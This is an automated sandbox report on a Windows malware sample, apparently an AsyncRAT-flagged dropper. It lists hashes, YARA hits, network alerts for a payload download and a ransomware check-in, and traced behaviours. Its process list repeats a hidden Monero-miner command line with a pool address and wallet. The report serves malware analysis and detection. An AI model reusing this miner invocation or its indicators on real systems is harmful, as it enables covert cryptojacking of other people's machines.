Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 12, 2022, 5:24 p.m.	April 12, 2022, 5:28 p.m.

Size	3.8MB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`bcaaf37e0beb6717d01b175e6bc78c44`
SHA256	`c8da163b0c84637e8e40fb15add10d77ef3853af773f88bec56ff5a03c40e5ad`
CRC32	`46DE339C`
ssdeep	`6144:HaM42OlP2GhNTi2BsCx1wsWO34xrxafUA5VyNmMpHXrvObETLiEAmg+f:Q2iNTbnWvrxasAWEsyb1EAmDf`
PDB Path	C:\Users\Alexx\Desktop\vsCODE\Hardwareid\obj\Debug\QuickSetDNS.pdb
Yara	IsPE32 - (no description) UPX_Zero - UPX packed file Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Is_DotNET_EXE - (no description) Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature

ddd.exe "C:\Users\test22\AppData\Local\Temp\ddd.exe"
2804
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
832
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2996
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2368
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
296
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
1660
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2320
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2424
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2648
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
532
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2456
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2928
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2956
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2212
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2140
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2312
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2472
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
1736
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2840
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2880
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2952
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2100
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
1640
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2000
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
1732
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
1072
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2984
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
3052
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
1180
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2344
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
1700
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2972
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
2872
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
788
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
1744
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
900
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
420

Name	Response	Post-Analysis Lookup
xxx01xzb.beget.tech	A 91.106.207.25	91.106.207.25

IP Address	Status	Action
107.189.6.214	Active	Moloch
164.124.101.2	Active	Moloch
91.106.207.25	Active	Moloch
5.188.119.76	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49163 -> 107.189.6.214:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 107.189.6.214:80 -> 192.168.56.101:49163	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 107.189.6.214:80 -> 192.168.56.101:49163	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 107.189.6.214:80 -> 192.168.56.101:49163	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.101:49171 -> 91.106.207.25:80	2023505	ET MALWARE CerberTear Ransomware CnC Checkin	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 12, 2022, 5:17 p.m.			0	0
IsDebuggerPresent April 12, 2022, 5:17 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (6 events)

Time & API	Arguments	Status	Return
CryptExportKey April 12, 2022, 5:17 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004ca310 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 12, 2022, 5:17 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004ca310 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 12, 2022, 5:17 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004ca2a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 12, 2022, 5:17 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004ca2a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 12, 2022, 5:17 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004ca230 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 12, 2022, 5:17 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004ca230 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

C:\Users\Alexx\Desktop\vsCODE\Hardwareid\obj\Debug\QuickSetDNS.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 12, 2022, 5:17 p.m.		1	1	0

One or more processes crashed (36 events)

Time & API	Arguments	Status
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ April 12, 2022, 5:18 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x774b0895 stacktrace+0x84 memdup-0x1af @ 0x740b0470 hook_in_monitor+0x45 lde-0x133 @ 0x740a42ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x740c3603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefda83243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefda831fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76f82ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x774b0895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1995976432 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
